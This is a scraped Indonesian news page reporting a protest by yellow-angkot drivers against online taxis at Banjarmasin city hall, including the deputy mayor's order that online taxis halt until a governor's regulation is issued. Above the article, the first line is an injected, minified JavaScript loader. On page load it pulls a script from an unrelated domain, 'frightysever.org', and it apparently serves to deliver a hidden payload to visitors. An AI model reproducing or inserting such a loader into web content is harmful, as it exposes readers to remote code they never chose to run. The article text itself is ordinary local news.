(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ini Keluh Kesah Sopir Angkot Kuning di Balaikota


BANJARMASIN, Ratusan sopir angkutan umum kota gelar unjuk rasa di depan Balaikota Banjarmasin, jalan RE Martadinata, Senin (8/1). Para sopir angkot ke Balaikota meluapkan keresahan mereka terkait keberadaan angkutan berbasis online di wilayah Banjarmasin.

Para sopir angkot berdemo lengkap dengan armada mereka, dengan perlengkapan pengeras suara. Sejumlah poster keluh kesah para sopir diantaranya stop taksi online, tutup aplikasi taxi online, sangat meresahkan kami semua, taksi online menghancurkan usaha rakyat menengah ke bawah, mengambil hak hak taksi kota di jalan, kami jua perlu sesuap nasi buat anak istri, aplikasi musuh kami sampai mati, Paman Birin tolong hentikan aplikasi.

Tolong jangan mengadu domba, perhatikan nasib sopir taksi dalam kota, jangan rampas piring nasi kami, sopir taksi kuning anak banua paman birin ae.

Selain itu para sopir juga memprotes angkutan berbasis online karena sering mangkal di terminal hingga merebut mata pencaharian sopir angkutan umum konvensional.

Kedatangan sopir angkutan umum diterima Wakil Walikota Banjarmasin Hermansyah, Kadishub Kota Banjarmasin Ichwan Nor Chalik, Kabid Angkutan Dinas Perhubungan Kota Banjarmasin Drs Anwari Delmi, dan Kadis Kesbangpol Kasman,

Para sopir menuntut Pemkot Banjarmasin menutup aplikasi taksi online. Aksi unjuk rasa dikomandoi Koorlap Yuliansyah dan H Helmi Ketua Persatuan Sopir Taksi Kota Kuning Polos, sebelumnya mereka komvoi dari terminal Antasari.

Wakil Walikota Banjarmasin Hermansyah mengatakan, sudah meminta semua kendaraan angkutan berbasis online untuk tidak beroperasi dulu sampai keluar peraturan gubernur (pergub) soal operasional taksi online pada Februari nanti.

“Semua taksi online di Banjarmasin tak boleh beroperasi sampai terbitnya Pergub. Bila taksi online tetap nekat, maka silakan catat dan laporkan nomor polisi taksi online ke polisi,” tegas Hermansyah.

Menurut Hermansyah, para sopir taksi online agar menahan operasional hingga Februari nanti akan mendukung kestabilan situasi kota Banjarmasin.

Hermansyah menjelaskan, kewenangan menutup aplikasi taksi online itu adalah wewenang Pemprov Kalsel, bukan kewenangan dari Pemkot Banjarmasin. (asriyani)

Foto : asriyani

 

Reporter : Asriyani
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

5 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

5 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

8 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

11 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

20 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

21 jam ago

This website uses cookies.